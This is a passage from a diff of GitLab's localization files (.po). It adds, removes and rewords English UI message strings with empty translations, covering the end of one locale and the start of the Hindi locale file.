msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26594,6 +27189,12 @@ msgstr[3] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26621,6 +27222,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26651,6 +27255,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -26748,9 +27355,6 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26760,10 +27364,10 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
-msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
msgstr ""
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
+msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
@@ -26832,9 +27436,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26878,6 +27479,9 @@ msgstr ""
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26926,6 +27530,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr ""
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26971,6 +27581,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -27082,6 +27695,9 @@ msgstr ""
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr ""
@@ -27091,7 +27707,7 @@ msgstr ""
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr ""
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -27103,9 +27719,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr ""
@@ -27121,6 +27734,9 @@ msgstr ""
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -27208,6 +27824,9 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27523,9 +28142,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27535,9 +28151,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27580,6 +28193,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27643,7 +28259,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27652,9 +28268,6 @@ msgstr ""
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27769,7 +28382,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27790,9 +28403,6 @@ msgstr ""
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27871,6 +28481,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27916,6 +28529,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -28216,6 +28832,9 @@ msgstr ""
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] ""
@@ -28236,6 +28855,9 @@ msgstr ""
msgid "Tip:"
msgstr ""
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr ""
@@ -28371,7 +28993,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -28470,6 +29092,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28812,6 +29437,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28878,7 +29506,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -28950,10 +29578,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -29148,9 +29776,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -29169,6 +29794,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr ""
@@ -29205,6 +29833,9 @@ msgstr ""
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -29295,6 +29926,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -29442,6 +30076,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29499,6 +30139,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr ""
@@ -29544,6 +30187,9 @@ msgstr ""
msgid "UserProfile|Report abuse"
msgstr ""
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr ""
@@ -29574,6 +30220,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr ""
@@ -29610,6 +30259,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr ""
@@ -29652,15 +30304,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29730,7 +30382,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr ""
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29813,6 +30465,9 @@ msgstr ""
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29870,6 +30525,9 @@ msgstr ""
msgid "View replaced file @ "
msgstr ""
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29963,9 +30621,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -30071,6 +30726,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -30119,10 +30780,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr ""
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -30137,6 +30795,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -30161,6 +30822,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -30290,6 +30954,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -30305,6 +30972,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -30386,12 +31056,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30450,7 +31126,13 @@ msgstr ""
msgid "Wiki"
msgstr ""
-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30606,6 +31288,9 @@ msgstr ""
msgid "Wiki|Pages"
msgstr ""
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30687,9 +31372,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr ""
@@ -30699,6 +31381,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30744,6 +31429,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30903,6 +31591,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30945,6 +31636,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -31023,6 +31717,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -31107,9 +31807,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -31152,13 +31849,10 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -31188,9 +31882,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -31209,6 +31900,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr ""
@@ -31233,6 +31927,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -31245,6 +31942,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -31386,6 +32086,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -31434,6 +32137,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -31443,6 +32152,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -31452,6 +32164,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31624,13 +32339,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading)"
-msgstr ""
-
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -31799,6 +32511,12 @@ msgstr[3] ""
msgid "ciReport|View full report"
msgstr ""
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31817,9 +32535,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr ""
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31835,9 +32550,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr ""
@@ -31878,9 +32590,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr ""
-
msgid "download it"
msgstr ""
@@ -31973,6 +32682,9 @@ msgstr ""
msgid "for this project"
msgstr ""
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -32001,6 +32713,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -32022,7 +32737,7 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
+msgid "in"
msgstr ""
msgid "in group %{link_to_group}"
@@ -32555,6 +33270,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr ""
@@ -32582,6 +33300,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32594,6 +33315,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -32679,6 +33403,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32734,6 +33461,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -32746,9 +33476,15 @@ msgstr ""
msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -32797,9 +33533,6 @@ msgstr ""
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr ""
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32830,10 +33563,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -32842,6 +33575,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32851,6 +33587,9 @@ msgstr ""
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -32923,6 +33662,13 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/hi_IN/gitlab.po b/locale/hi_IN/gitlab.po
index a002fb4c05e..fc969506005 100644
--- a/locale/hi_IN/gitlab.po
+++ b/locale/hi_IN/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: hi\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:42\n"
+"PO-Revision-Date: 2020-12-03 08:10\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -82,6 +82,11 @@ msgid_plural "%d Approvals"
msgstr[0] ""
msgstr[1] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -165,13 +170,13 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
+msgid "%d error"
+msgid_plural "%d errors"
msgstr[0] ""
msgstr[1] ""
-msgid "%d error"
-msgid_plural "%d errors"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
msgstr[0] ""
msgstr[1] ""
@@ -351,22 +356,13 @@ msgstr ""
msgid "%{address} is an invalid IP address range"
msgstr ""
-msgid "%{author_link} wrote:"
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
msgstr ""
-msgid "%{authorsName}'s thread"
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
+msgid "%{author_link} wrote:"
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
+msgid "%{authorsName}'s thread"
msgstr ""
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
@@ -445,6 +441,9 @@ msgstr ""
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -517,21 +516,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr ""
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -547,9 +552,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -565,13 +567,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -604,9 +606,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr ""
-msgid "%{loadingIcon} Started"
-msgstr ""
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -707,34 +706,13 @@ msgstr[1] ""
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
